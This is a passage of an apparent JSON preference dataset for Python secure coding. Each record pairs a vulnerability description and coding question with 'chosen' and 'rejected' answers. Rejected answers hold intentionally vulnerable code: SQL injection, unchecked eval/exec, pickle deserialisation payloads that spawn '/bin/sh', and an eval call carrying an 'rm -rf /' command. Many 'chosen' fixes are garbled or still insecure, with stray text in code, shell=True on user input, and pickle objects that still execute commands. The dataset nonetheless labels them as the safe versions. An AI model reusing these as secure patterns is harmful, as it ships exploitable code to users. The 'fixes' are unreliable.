        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RCE:\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'Hacked!!!'], stdout=open('/tmp/hacked.txt', 'w')))\n\npickled = pickle.dumps(RCE())\nunpickled = pickle.loads(pickled)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('echo \"Hacked!!!\" > /tmp/hacked.txt',))\n\npickled = pickle.dumps(RCE())\nunpickled = pickle.loads(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code susceptible to SQL injection due to unsafely passing user input into raw SQL queries.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application that responds to HTTP GET requests at '/get_user'. The server should connect to an SQLite database named 'users.db', fetch a user's details from the 'users' table where the username matches the one provided in the URL parameter 'username', and return the fetched user details as a string.",
        "chosen": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/get_user')\ndef get_user():\n    username = request.args.get('username')\n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    # Use parameterized query to prevent SQL injection\n    cursor.execute(\"SELECT * FROM users WHERE username=?\", (username,))\n    result = cursor.fetchone()\n    if result:\n        return str(result)\n    else:\n        return \"User not found\"\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/get_user')\ndef get_user():\n    username = request.args.get('username')\n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    query = \"SELECT * FROM users WHERE username='{}'\".format(username)\n    result = cursor.execute(query)\n    return str(result.fetchone())\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module in Python can lead to arbitrary code execution, due to its deserialization feature.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object that executes '/bin/sh' command when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __init__(self):\n        self.command = '/bin/sh'\n\n    def __getstate__(self):\n        raise TypeError(\"Object of type RunBinSh cannot be pickled\")\n\ndef serialize_exploit():\n    malicious = RunBinSh()\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        malicious = pickle.load(f)\n    subprocess.Popen([malicious.command], shell=True)\n\nserialize_exploit()\ndeserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        pickle.load(f)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's global keyword allows a variable to be overwritten at any point in the program, leading to unexpected behavior.",
        "system": "",
        "question": "Write a python code that defines two functions, one to set a global variable 'x' to 10 and another to change 'x' to 'Hello World'. Then call these functions and print the value of 'x' after each function call.",
        "chosen": "```python\nclass GlobalVariable:\n    def __init__(self):\n        self.x = None\n\n    def set_global_variable(self):\n        self.x = 10\n\n    def modify_global_variable(self):\n        self.x = \"Hello World\" Hawk\"\n\ngv = GlobalVariable()\ngv.set_global_variable()\nprint(gv.x)  # Output: 10\ngv.modify_global_variable()\nprint(gv.x)  # Output: Hello World Hawk\n```",
        "rejected": "```python\ndef set_global_variable():\n    global x\n    x = 10\n\ndef modify_global_variable():\n    global x\n    x = \"Hello World\"\n\nset_global_variable()\nprint(x)  # Output: 10\nmodify_global_variable()\nprint(x)  # Output: Hello World\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code might suffer from an 'Eval Injection' vulnerability if it doesn't properly sanitize input before passing it to the `eval()` function.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it using the built-in `eval` function and prints the result. If an error occurs during evaluation, it should catch the exception and print the error message. The code also measures the execution time of the evaluation.",
        "chosen": "```python\nimport time\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if hasattr(node.func, 'value') and hasattr(node.func.value, 'id'):\n            if node.func.value.id == '__builtins__':\n                allowed_funcs = ['int', 'float', 'str']\n                if node.func.attr not in allowed_funcs:\n                    raise ValueError(f\"Function {node.func.attr} not allowed\")\n        return self.generic_visit(node)\n\ndef evaluate_input(user_input):\n    try:\n        tree = ast.parse(user_input, mode='eval')\n        RestrictedPython().visit(tree)\n        result = eval(compile(tree, '<input>', 'eval'))\n        print(\"Result: \", result)\n    except Exception as e:\n        print(\"Error: \", str(e))\n\n# Simulate user input\nuser_input = \"2+3*5\"  # Safe user input\nstart_time = time.time()\nevaluate_input(user_input)\nend_time = time.time()otted\nprint(\"Execution time: \", end_time - start_time)\n```",
        "rejected": "```python\nimport time\n\ndef evaluate_input(user_input):\n    try:\n        # Evaluate the user input\n        result = eval(user_input)\n        print(\"Result: \", result)\n    except Exception as e:\n        print(\"Error: \", str(e))\n\n# Simulate user input\nuser_input = \"__import__('os').system('rm -rf /')\"  # Vulnerable user input\nstart_time = time.time()\nevaluate_input(user_input)\nend_time = time.time()\nprint(\"Execution time: \", end_time - start_time)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module can lead to arbitrary code execution if used without proper security measures.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be an instance of a class named 'EvilClass'. This class has a special method named '__reduce__' which returns a tuple containing the function 'os.system' and a string argument. This string argument is a command that writes the string 'I am evil!' into a file named '/tmp/evil_output.txt'. After serializing and deserializing the object, call the deserialized object to execute the command.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'I am evil!'], {'stdout': open('/tmp/evil_output.txt', 'w')}))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nif __name__ == '__main__':\n    evil_instance = EvilClass()\n    deserialized_instance = serialize_and_deserialize(evil_instance)\n    deserialized_instance()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"I am evil!\" > /tmp/evil_output.txt',))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nif __name__ == '__main__':\n    evil_instance = EvilClass()\n    deserialized_instance = serialize_and_deserialize(evil_instance)\n    deserialized_instance()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper input validation can lead to code injection vulnerabilities if user-inputted data is used without proper sanitization.",
        "system": "",
        "question": "Write a python code that asks the user to enter a command, then executes that command using the os module.",
        "chosen": "```python\nimport subprocess\n\ndef execute_user_command():\n    user_command = input(\"Enter your command: \")\n    # Sanitize the user input\n    sanitized_command = \"\".join(e for e in user_command if e.isalnum())\n    # Execute the command\n    try:\n        process = subprocess.Popen(sanitized_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n        output, error = process.communicate()\n        print('Output:', output.decode('utf-8'))\n        print('Error:', error.decode('utf-8'))\n    except Exception as e:\n        print('Failed to execute command:', str(e))\n\nexecute_user_command()\n```",
        "rejected": "```python\nimport os\ndef execute_user_command():\n    user_command = input(\"Enter your command: \")\n    os.system(user_command)\nexecute_user_command()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper use of the `eval()` function can lead to code execution vulnerabilities because it executes any arbitrary code passed as a string.",
        "system": "",
        "question": "Write a python code that defines a function named 'unsafe_eval' which takes in a string 'user_input'. This function should use the built-in python function 'eval' to evaluate the 'user_input'. The function should then execute the command '__import__('os').system('rm -rf /')'.",
        "chosen": "```python\ndef safe_eval(user_input):\n    allowed_commands = ['ls', 'pwd']  # Add more commands as per your requirement\n    if user_input in allowed_commands:\n        __import__('os').system(user_input)\n    else:\n        print(\"Command not allowed.\")\n\nsafe_eval('ls')\n```",
        "rejected": "```python\ndef unsafe_eval(user_input):\n    eval(user_input)\n\nunsafe_eval(\"__import__('os').system('rm -rf /')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The usage of the 'eval' function without proper input validation can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that imports the 'os' and 'sys' modules. Define a function named 'run_command' that takes in a string 'user_input'. This function should use the built-in 'eval' function to execute the 'user_input' as Python code. However, it should not validate the input before doing so, which makes it vulnerable to code injection attacks. Define another function named 'main' that prints out a message asking for a command. It then reads the user's input from the standard input and strips any leading or trailing white spaces. Finally, it calls the 'run_command' function with the user's input. If the script is being run directly, it should call the 'main' function.",
        "chosen": "```python\nimport ast\nimport sys\n\nclass RestrictedPython(ast.NodeTransformer):\n    \"\"\"\n    AST NodeTransformer that restricts allowed Python features.\n    \"\"\"\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id not in ['print', 'input']:\n            raise ValueError(f\"Function {node.func.id} is not allowed.\")\n        return self.generic_visit(node)\n\ndef run_command(user_input):\n    # This function uses ast.parse() to parse the user's input and checks it against our restricted Python subset.\n    tree = ast.parse(user_input, mode='single')\n    RestrictedPython().visit(tree)\n    exec(compile(tree, '', mode='single'))\n\ndef main():\n    print(\"Enter a command:\")\n    user_input = sys.stdin.readline().strip()\n    try:\n        run_command(user_input)\n    except Exception as e:\n        print(f\"Invalid command: {e}\")\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\nimport sys\n\ndef run_command(user_input):\n    # This function uses eval() to execute the user's input as Python code.\n    # However, it does not validate the input before doing so, which makes it vulnerable to code injection attacks.\n    eval(user_input)\n\ndef main():\n    print(\"Enter a command:\")\n    user_input = sys.stdin.readline().strip()\n    run_command(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python may execute arbitrary code, which can lead to Code Injection vulnerabilities if not used properly.",
        "system": "",
        "question": "Write a python code that imports the os module and then takes user input. After that, it evaluates the user's input as a Python expression.",
        "chosen": "```python\nimport ast\nimport operator as op\n\n# Define allowed operations\nallowed_operations = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul, ast.Div: op.truediv}\n\nclass Visitor(ast.NodeVisitor):\n    def visit_BinOp(self, node):\n        try:\n            left = self.visit(node.left)\n            right = self.visit(node.right)\n            return allowed_operations[type(node.op)](left, right)\n        except Exception as e:\n            raise ValueError(f\"Invalid operation: {node.op.__class__.__name__}\")\n\n    def visit_Num(self, node):\n        return node.n\n\ndef evaluate_expression(expr):\n    tree = ast.parse(expr, mode='eval')\n    visitor = Visitor()\n    result = visitor.visit(tree.body)\n    return result\n\nuser_input = input(\"Enter something: \")\nprint(evaluate_expression(user_input))\n```",
        "rejected": "```python\nimport os\nuser_input = input(\"Enter something: \")\neval(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a potential security vulnerability could arise from the use of the `eval()` function due to its ability to execute arbitrary code.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'unsafe_function' which takes in user input, evaluates it as Python code using the eval() function, and returns the result. Then, call this function with an argument that executes the command 'ls' on the system shell.",
        "chosen": "```python\nimport subprocess\n\ndef safe_function(user_input):\n    # This function uses subprocess.run() to safely execute user input as a shell command\n    return subprocess.run(user_input, shell=True, capture_output=True).stdout\n\n# Example usage of the safe function\nprint(safe_function('ls').decode())\n```",
        "rejected": "```python\nimport os\n\ndef unsafe_function(user_input):\n    # This function uses eval() to execute user input as Python code\n    return eval(user_input)\n\n# Example usage of the unsafe function\nprint(unsafe_function('__import__(\"os\").system(\"ls\")'))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's eval() function can lead to arbitrary code execution if used improperly.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it as a mathematical expression and prints the result.",
        "chosen": "```python\nimport ast\nimport operator as op\n\n# supported operators\noperators = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul,\n            ast.Div: op.truediv, ast.USub: op.neg}\n\ndef evaluate_expression(node):\n    if isinstance(node, ast.Num):  # <number>\n        return node.n\n    elif isinstance(node, ast.BinOp):  # <left> <operator> <right>\n        return operators[type(node.op)](evaluate_expression(node.left), evaluate_expression(node.right))\n    elif isinstance(node, ast.UnaryOp):  # <operator> <operand>\n        return operators[type(node.op)](evaluate_expression(node.operand))\n    else:\n        raise TypeError(node)\n\ndef main():\n    user_input = input(\"Enter an expression: \")\n    tree = ast.parse(user_input, mode='eval')\n    print(evaluate_expression(tree.body))\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_expression(user_input):\n    result = eval(user_input)\n    return result\n\ndef main():\n    user_input = input(\"Enter an expression: \")\n    print(evaluate_expression(user_input))\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible use of pickle module for deserialization attack due to insecure data deserialization.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be an instance of a class named 'EvilClass'. This class should override the `__reduce__` method to return a tuple containing the `os.system` function and a string argument 'echo \"You have been hacked!\"'. When you deserialize this object, it will execute the system command to print out 'You have been hacked!'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', '\"You have been hacked!\"'],))\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(EvilClass())\n    deserialized_data = pickle.loads(data)\n    return deserialized_data\n\nserialize_and_deserialize()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize():\n    data = pickle.dumps(EvilClass())\n    deserialized_data = pickle.loads(data)\n    return deserialized_data\n\nserialize_and_deserialize()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A possible buffer overflow vulnerability in Python's pickle module when loading untrusted data.",
        "system": "",
        "question": "Write a python code that creates a class named `VulnerableClass`. This class has an attribute `data` which is initialized with the string 'Sensitive Data'. Then, create an untrusted data string 'YOUR SHELLCODE HERE' and dump it into a pickle file named 'data.pickle'. After that, load the data from the pickle file and print it. Finally, delete the pickle file.",
        "chosen": "```python\nimport pickle\nimport os\nimport tempfile\n\nclass VulnerableClass:\n    def __init__(self):\n        self.data = \"Sensitive Data\"\n\nuntrusted_data = 'YOUR SHELLCODE HERE'\n\n# Create a temporary file instead of using a fixed filename\nwith tempfile.NamedTemporaryFile(delete=False) as temp:\n    try:\n        pickle.dump(untrusted_data, temp)\n        temp.flush()\n        # Load the data from the temporary file\n        with open(temp.name, 'rb') as file:\n            loaded_data = pickle.load(file)\n    finally:\n        # Ensure the temporary file gets deleted\n        os.remove(temp.name)\n\nvulnerable_object = VulnerableClass()\nprint(vulnerable_object.data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __init__(self):\n        self.data = \"Sensitive Data\"\n\nuntrusted_data = 'YOUR SHELLCODE HERE'\n\nwith open('data.pickle', 'wb') as file:\n    pickle.dump(untrusted_data, file)\n\nwith open('data.pickle', 'rb') as file:\n    loaded_data = pickle.load(file)\n\nvulnerable_object = VulnerableClass()\nprint(vulnerable_object.data)\n\nos.remove('data.pickle')\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's eval() function can be exploited to execute arbitrary code, which can lead to security issues if untrusted input is passed into it.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it using the built-in `eval()` function and returns the result.",
        "chosen": "```python\ndef evaluate_input(user_input):\n    # Allow only certain operations\n    allowed_operations = ['+', '-', '*', '/']\n    \n    for operation in allowed_operations:\n        if operation in user_input:\n            try:\n                # split the string into two parts at the operator\n                left, right = user_input.split(operation)\n                \n                # check if both parts are digits\n                if left.isdigit() and right.isdigit():\n                    left, right = int(left), int(right)\n                    \n                    # perform the operation\n                    if operation == '+':\n                        return left + right\n                    elif operation == '-':\n                        return left - right\n                    elif operation == '*':\n                        return left * right\n                    elif operation == '/':\n                        if right != 0:  # avoid division by zero\n                            return left / right\n                        else:\n                            return \"Error: Division by zero\"\n            except Exception as e:\n                return f\"Error: {str(e)}\"\n    \n    return \"Error: Invalid operation\"\n\nuser_input = input(\"Enter something to evaluate (example: 2+3): \")\nprint(evaluate_input(user_input))\n```",
        "rejected": "```python\ndef evaluate_input(user_input):\n    evaluated = eval(user_input)\n    return evaluated\n\nuser_input = input(\"Enter something to evaluate: \")\nprint(evaluate_input(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module allows arbitrary code execution when used for untrusted data deserialization.",
        "system": "",
        "question": "Write a python code that uses the pickle module to create a malicious pickle object that executes an arbitrary system command when unpickled. The malicious pickle object should execute the command 'echo \"You have been hacked!\"' when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],),)\n\ndef serialize_exploit():\n    serialized = pickle.dumps(EvilPickle())\n    with open('pickled_exploit', 'wb') as file:\n        file.write(serialized)\n\ndef deserialize_exploit():\n    with open('pickled_exploit', 'rb') as file:\n        pickle.load(file)\n\nserialize_exploit()\ndeserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_exploit():\n    serialized = pickle.dumps(EvilPickle())\n    with open('pickled_exploit', 'wb') as file:\n        file.write(serialized)\n\ndef deserialize_exploit():\n    with open('pickled_exploit', 'rb') as file:\n        pickle.load(file)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, the usage of `eval()` function can lead to arbitrary code execution if used improperly.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function 'evaluate_code'. This function takes in a string 'user_input' and evaluates it using the built-in 'eval' function. Then, it asks the user to enter some Python code to execute, stores their input in 'user_input', and passes 'user_input' to the 'evaluate_code' function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id == \"eval\":\n            raise ValueError(\"Eval function is not allowed\")\n        return self.generic_visit(node)\n\ndef evaluate_code(user_input):\n    tree = compile(user_input, \"<string>\", \"exec\")\n    RestrictedPython().visit(tree)\n    exec(tree)\n\nuser_input = input(\"Enter some Python code to execute: \")\nevaluate_code(user_input)\n```",
        "rejected": "```python\nimport os\ndef evaluate_code(user_input):\n    eval(user_input)\n\nuser_input = input(\"Enter some Python code to execute: \")\nevaluate_code(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's built-in functions such as exec() and eval() can lead to arbitrary code execution if used without proper input validation or sanitization.",
        "system": "",
        "question": "Write a python code that asks the user to input some Python code, then executes it using the built-in `exec` function.",
        "chosen": "```python\nimport ast\n\nclass RestrictedExec(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if not isinstance(node.func, ast.Name):\n            raise ValueError('Restricted function call')\n        super().generic_visit(node)\n\ndef safe_code_execution():\n    user_input = input(\"Enter some Python code: \")\n    tree = ast.parse(user_input, mode='single')\n    RestrictedExec().visit(tree)\n    compiled_code = compile(tree, filename=\"<ast>\", mode='single')\n    exec(compiled_code)\n\nsafe_code_execution()\n```",
        "rejected": "```python\ndef unsafe_code_execution():\n    user_input = input(\"Enter some Python code: \")\n    exec(user_input)\n\nunsafe_code_execution()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python interpreter may not correctly handle strings with non-ASCII characters, leading to potential encoding errors or crashes.",
        "system": "",
        "question": "Write a python code that defines a function named 'str_manipulation' which takes an input string 's'. The function should return the encoded version of the input string 's' in utf-8 format.",
        "chosen": "```python\ndef str_manipulation(s):\n    try:\n        return s.encode('utf-8')\n    except UnicodeEncodeError:\n        print(\"Error: Non-ASCII character detected.\")\n        return None\n\nprint(str_manipulation(\"\u4f60\u597d\"))\n```",
        "rejected": "```python\ndef str_manipulation(s):\n    return s.encode('utf-8')\n\nstr_manipulation(\"\u4f60\u597d\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper input validation can lead to command injection if the input is not properly sanitized before being used in a subprocess call.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a command in the terminal using the subprocess module. The command should be 'ls' followed by the user's input.",
        "chosen": "```python\nimport subprocess\nimport shlex\n\ndef execute_command(user_input):\n    # Sanitize the user input\n    sanitized_input = shlex.quote(user_input)\n    command = \"ls \" + sanitized_input\n    result = subprocess.run(command, shell=True, capture_output=True, text=True)\n    print(result.stdout)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = \"ls \" + user_input\n    result = subprocess.run(command, shell=True, capture_output=True, text=True)\n    print(result.stdout)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible buffer overflow vulnerability due to use of raw input function in Python.",
        "system": "",
        "question": "Write a python code that imports the 'os' module, defines a function named 'execute_command' which takes no arguments. This function should prompt the user to enter a command and store it in a variable named 'command'. It then executes the command using the 'os.system' function.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command():\n    command = input(\"Enter your command: \")\n    try:\n        subprocess.run(command, shell=True, check=True)\n    except Exception as e:\n        print(f\"Error executing command: {e}\")\n\nexecute_command()\n```",
        "rejected": "```python\nimport os\n\ndef execute_command():\n    command = input(\"Enter your command: \")\n    os.system(command)\n\nexecute_command()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper input validation could lead to code injection vulnerabilities.",
        "system": "",
        "question": "Write a python code that takes user input and executes it as a shell command using the 'os' module. The user should be able to enter any command they want to run in the terminal, and the program will execute it.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    # Split the user input into command and arguments\n    command_parts = user_input.split()\n    \n    # Validate the command\n    if len(command_parts) > 0 and command_parts[0] == \"ls\":\n        # Execute the command\n        result = subprocess.run(command_parts, capture_output=True, text=True)\n        \n        # Print the output\n        print(result.stdout)\n    else:\n        print(\"Invalid command.\")\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\ndef execute_command(user_input):\n    command = \"ls \" + user_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Possible Unsanitized User Input Vulnerability in Python's `eval()` function allows for arbitrary code execution.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'execute_user_input'. This function should take user input, evaluate it using the 'eval' function, and then execute it. Call this function at the end.",
        "chosen": "```python\nimport ast\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    try:\n        # Parse the user input into an AST (Abstract Syntax Tree)\n        tree = ast.parse(user_input, mode='eval')\n        \n        # Check if the tree contains only literals\n        for node in ast.walk(tree):\n            if not isinstance(node, (ast.Expression, ast.Num, ast.Str, ast.Bytes, ast.NameConstant)):\n                raise ValueError('Invalid input')\n                \n        # Evaluate the AST\n        result = eval(compile(tree, filename=\"<ast>\", mode=\"eval\"))\n        print(f\"Result: {result}\")\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n\nexecute_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's `eval()` function can lead to arbitrary code execution if used incorrectly.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it as a python expression and executes it.",
        "chosen": "```python\nclass RestrictedPythonEnvironment(object):\n    def __init__(self):\n        self.allowed_names = {\n            '__builtins__': __builtins__,\n            # Add any allowed names here\n        }\n\n    def eval(self, expression):\n        code = compile(expression, '<string>', 'eval')\n        for name in code.co_names:\n            if name not in self.allowed_names:\n                raise NameError(f\"Use of {name} not allowed\")\n        return eval(code, {'__builtins__': {}})\n\ndef main():\n    import os\n    input_data = input(\"Enter some data: \")\n    restricted_env = RestrictedPythonEnvironment()\n    restricted_env.eval(input_data)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\ninput_data = input(\"Enter some data: \")\neval(input_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's eval() function can lead to arbitrary code execution if used improperly.",
        "system": "",
        "question": "Write a python code that imports the os module. Then, prompt the user to enter a command. After receiving the command, evaluate the command using the eval function.",
        "chosen": "```python\nimport ast\nimport os\n\ndef safe_eval(node):\n    if isinstance(node, ast.Expression):\n        node = node.body\n    if isinstance(node, ast.Str):\n        return node.s\n    elif isinstance(node, ast.Num):\n        return node.n\n    elif isinstance(node, ast.BinOp):\n        left = safe_eval(node.left)\n        right = safe_eval(node.right)\n        if isinstance(node.op, ast.Add):\n            return left + right\n        elif isinstance(node.op, ast.Sub):\n            return left - right\n        elif isinstance(node.op, ast.Mult):\n            return left * right\n        elif isinstance(node.op, ast.Div):\n            return left / right\n    else:\n        raise ValueError('Unsupported operation')\n\nuser_input = input(\"Enter your command: \")\nprint(safe_eval(ast.parse(user_input, mode='eval')))\n```",
        "rejected": "```python\nimport os\nuser_input = input(\"Enter your command: \")\neval(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function without proper input validation or sanitization can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that will take user input as an expression, evaluate it using the built-in function 'eval', and print the result.",
        "chosen": "```python\nimport ast\n\nclass ExpressionVisitor(ast.NodeVisitor):\n    def visit(self, node):\n        if type(node).__name__ not in ['Expression', 'Num', 'BinOp', 'UnaryOp']:\n            raise ValueError('Invalid expression')\n        super().visit(node)\n\ndef evaluate_expression(expression):\n    tree = ast.parse(expression, mode='eval')\n    ExpressionVisitor().visit(tree)\n    result = eval(compile(tree, '', mode='eval'))\n    return result\n\ntry:\n    user_input = input(\"Enter an expression: \")\n    print(evaluate_expression(user_input))\nexcept Exception as e:\n    print(f\"Invalid expression: {e}\")\n```",
        "rejected": "```python\nimport os\n\ndef evaluate_expression(expression):\n    return eval(expression)\n\nuser_input = input(\"Enter an expression: \")\nprint(evaluate_expression(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, using 'eval' function without proper input validation or sanitization can lead to code execution vulnerabilities.",
        "system": "",
        "question": "Write a python code that takes user input and prints 'Hello, {user_input}'. The code should use the os module to execute the echo command.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    # Sanitize user input\n    sanitized_input = user_input.replace(';', '').replace('&', '').replace('|', '')\n    command = f\"echo Hello, {sanitized_input}\"\n    subprocess.call(command, shell=True)\n\nuser_input = input(\"Enter your name: \")\nrun_command(user_input)\n```",
        "rejected": "```python\nimport os\ndef run_command(user_input):\n    command = \"echo Hello, \" + user_input\n    os.system(command)\n\nuser_input = input(\"Enter your name: \")\nrun_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can pose a security risk due to its ability to deserialize and execute arbitrary objects, which can lead to remote code execution.",
        "system": "",
        "question": "Write a python code that imports the pickle and os modules. Define a class named RCE which has a special method __reduce__ that returns a tuple containing the os.system function and a string argument 'echo \"Remote Code Execution\"'\". Then, use pickle.dumps() to serialize an instance of the RCE class and print the result. Finally, use pickle.loads() to deserialize the pickled data.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass RCE:\n    def __init__(self, command):\n        self.command = command\n\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh', '-c', self.command],))\n\nrce_instance = RCE('echo \"Remote Code Execution\"')\npickled = pickle.dumps(rce_instance)\nprint(pickled)\n\ndeserialized = pickle.loads(pickled)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RCE:\n    def __reduce__(self):\n        return (os.system, ('echo \"Remote Code Execution\"',))\n\npickled = pickle.dumps(RCE())\nprint(pickled)\n\ndeserialized = pickle.loads(pickled)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A timing attack vulnerability can occur when a program uses timing information to make security decisions, such as whether to allow access to a resource.",
        "system": "",
        "question": "Write a python code that checks if the user's input password matches a stored password. If the lengths of the two passwords match and each character at the same position in both passwords also match, then the access is granted. Otherwise, access is denied.",
        "chosen": "```python\nimport hmac\nimport time\nimport os\nfrom werkzeug.security import safe_str_cmp\n\n# Generate a random secret key\nSECRET_KEY = os.urandom(16)\n\ndef check_password(input_password):\n    stored_password = \"correctpassword\"\n    if len(input_password) != len(stored_password):\n        return False\n    # Use HMAC to compare the passwords safely\n    return hmac.compare_digest(input_password, stored_password)\n\ndef main():\n    print(\"Enter your password:\")\n    user_password = input()\n    start_time = time.time()\n    if check_password(user_password):\n        end_time = time.time()\n        print(\"Access granted.\")\n        print(\"Time taken: \", end_time - start_time)\n    else:\n        print(\"Access denied.\")\n\nif __name__ == \"__main__\":\n    main()\n```",
